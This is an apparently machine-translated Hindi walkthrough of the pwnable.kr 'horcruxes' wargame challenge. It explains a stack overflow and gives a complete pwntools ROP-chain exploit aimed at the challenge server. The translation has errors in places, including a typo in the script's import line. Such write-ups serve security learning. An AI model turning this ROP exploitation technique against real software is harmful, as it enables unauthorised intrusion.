समस्या हल करने में pwnable.kr 21 - हॉरक्स। ओरिएंटेड प्रोग्रामिंग और आरओपी चेन्स लौटें

इस लेख में, हम 21 वें कार्य को साइट से हल करेंगे pwnable.kr , जिसका उद्देश्य ROP श्रृंखला को संकलित करना है।

हॉरक्रक्स खोज का समाधान

मुझे यह बताने का कोई कारण नहीं है कि रिवर्स-ओरिएंटेड प्रोग्रामिंग क्या है, क्योंकि यह लेख बहुत विस्तार से सब कुछ बताता है।

हम horcruxes हस्ताक्षर आइकन पर क्लिक करते हैं और हमें बताया जाता है कि हमें पासवर्ड अतिथि के साथ SSH के माध्यम से कनेक्ट करने की आवश्यकता है।



कनेक्ट होने पर, हम संबंधित बैनर देखते हैं।



आइए जानें कि सर्वर पर कौन सी फाइलें हैं, साथ ही हमारे पास क्या अधिकार हैं।



एक रीडमी फ़ाइल है, आइए देखें कि उन्होंने हमें क्या संदेश छोड़ा।



यह बताया गया है कि कार्यक्रम पोर्ट 9032 पर चलता है। हमें स्रोत कोड नहीं दिया गया है, इसलिए अपने लिए कार्यक्रम डाउनलोड करें।

scp -P2222 horcruxes@pwnable.kr:horcruxes /root/ 

इसे आईडीए में चलाएं और इसे अपघटित करें। तीन दिलचस्प कार्य हैं: संकेत, init_ABCDEFG, और ropme।



नाम से देखते हुए, संकेत फ़ंक्शन में एक संकेत होना चाहिए। चलो उसे देखते हैं।



यह कहा जाता है कि आपको 7 स्तरों से गुजरने की आवश्यकता है। अच्छा, चलो रोपमे पर एक नज़र डालें।



पहले से अधिक दिलचस्प। कार्यक्रम संख्या को पढ़ता है और यदि यह एक निश्चित संदर्भ मूल्य के बराबर है, तो एक फ़ंक्शन कहा जाता है जो इस मान को प्रदर्शित करता है। और इसलिए 7 अर्थ हैं।



यदि कोई मिलान नहीं था, तो हमें एक स्ट्रिंग दर्ज करने के लिए कहा जाता है जो चर राशि के साथ तुलना करता है। तो, आइए init_ABCDEFG पर एक नज़र डालें।



यहां, संदर्भ मानों की शुरूआत, जो यादृच्छिक रूप से उत्पन्न होती है, होती है। और योग इन संख्याओं का योग है।

हमने कार्यक्रम को सुलझा लिया। सर्च टूलटिप ROP कहती है। विचार निम्नलिखित है, हमें संदर्भ मानों को जानने के लिए सभी 7 कार्यों को कॉल करने की आवश्यकता है, और फिर इन मूल्यों के योग को स्थानांतरित करने के लिए फिर से कॉल करें।

प्राप्त फ़ंक्शन के लिए धन्यवाद, हम पते की श्रृंखला के साथ वापसी पते को फिर से लिख सकते हैं। हम वापसी पते पर बाइट्स की संख्या की गणना करते हैं।



इस प्रकार, हमें प्रोग्राम को स्थानांतरित करने की आवश्यकता है, हमें स्टब के 0x78 बाइट्स को स्थानांतरित करने की आवश्यकता है, और फिर पंक्ति 8 में फ़ंक्शन के पते। आईडीए में हम अपने कार्यों के पते ढूंढते हैं।



अब एक शोषण लिखते हैं।

 rom pwn import * payload = "A" * 0x78 payload += p32(0x0809fe4b) payload += p32(0x0809fe6a) payload += p32(0x0809fe89) payload += p32(0x0809fea8) payload += p32(0x0809fec7) payload += p32(0x0809fee6) payload += p32(0x0809ff05) payload += p32(0x0809fffc) con = remote("pwnable.kr", 9032) con.recv() con.recv() con.send("123" + "\n") con.recv() con.send(payload + "\n") con.recv() ans = con.recv().split('\n') sum_result = 0 for i in range(1,8): sum_result += int(ans[i].split('+')[1].split(')')[0]) con.send("123" + "\n") con.send(str(sum_result) + "\n") 

हम वांछित ध्वज प्राप्त करते हैं और pwnable.kr पर कार्यों के पहले भाग को पूरा करते हैं।



आप टेलीग्राम पर हमसे जुड़ सकते हैं। अगली बार हम ढेर अतिप्रवाह से निपटेंगे।